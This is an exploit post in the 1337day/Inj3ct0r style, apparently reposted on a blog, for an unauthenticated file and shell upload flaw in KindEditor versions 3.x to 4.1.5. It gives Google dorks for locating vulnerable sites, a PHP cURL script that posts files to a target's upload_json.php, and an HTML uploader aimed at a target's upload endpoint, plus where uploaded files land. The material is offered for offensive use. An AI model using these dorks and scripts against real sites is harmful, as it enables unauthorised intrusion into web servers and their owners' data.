1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /
' \ __ /'
__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /
' _ `\ \/\ \/_/_\_<_ /'
___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
###
# Title : KindEditor (v.3.x->4.1.5) <= File/Shell Upload Vulnerability
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com
# FaCeb0ok : http:
# TwiTter : @kedans
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Platform/CatID : php - remote - Multiple
# Type : php - proof of concept - webapp 0day
# Tested on : Windows7
# Download : [http:
# Vendor : [http:
###
# <3 <3 Greetings t0 Palestine <3 <3
# F-ck HaCking, Lov3 Explo8ting !
######## [ Proof / Exploit ] ################|=>
# Description :
---------------
- This bug in ( KindEditor ) you can upload remote files ( .txt .html ...etc )
with multiple JSON upload langs type ( PHP / ASP / JSP / ASP.NET )
this bug found in old versions by some author , but is still work is latest version .
- Latest V. is ( 4.1.5 ) , Released on ( Jan 19, 2013 )
- old poc : (http:
# Google Dork :
---------------
allinurl:/examples/uploadbutton.html
allinurl:/php/upload_json.php / .asp / .jsp
# KindEditor PHP_JSON Uploader
------------------------------
<?php
$uploadfile
=
"KedAns.txt"
;
$ch
= curl_init(
"http://[Target]/[path]/kindeditor/php/upload_json.php?dir=file"
);
curl_setopt(
$ch
, CURLOPT_POST, true);
curl_setopt(
$ch
, CURLOPT_POSTFIELDS,
array
(
'imgFile'
=>
"@$uploadfile"
));
curl_setopt(
$ch
, CURLOPT_RETURNTRANSFER, 1);
$postResult
= curl_exec(
$ch
);
curl_close(
$ch
);
print
"$postResult"
;
?>
# KindEditor (ASP,ASP.NET,JSP,PHP) _JSON Uploader :
--------------------------------------------------
- Change the Uploader by ( LANG / PATH )
and
use
this HTML Uploader
/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php
<html><head>
<title>Uploader By KedAns-Dz</title>
<script src=
"http://[Target]/kindeditor/kindeditor-min.js"
></script>
<script>
KindEditor.ready(
function
(K) {
var
uploadbutton = K.uploadbutton({
button : K(
'#uploadButton'
)[0],
fieldName :
'imgFile'
,
url :
'http://[Target]/kindeditor/php/upload_json.asp?dir=file'
,
afterUpload :
function
(data) {
if
(data.error === 0) {
var
url = K.formatUrl(data.url,
'absolute'
);
K(
'#url'
).val(url);}
},
});
uploadbutton.fileBox.change(
function
(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div
class
=
"upload"
>
<input
class
=
"ke-input-text"
type=
"text"
id=
"url"
value=
""
readonly=
"readonly"
/>
<input type=
"button"
id=
"uploadButton"
value=
"Upload"
/>
</div>
</body>
</html>
# Find u'r file in /attached/file/[Upl_Date]/{RaW_File_Name}.*
No comments:
Post a Comment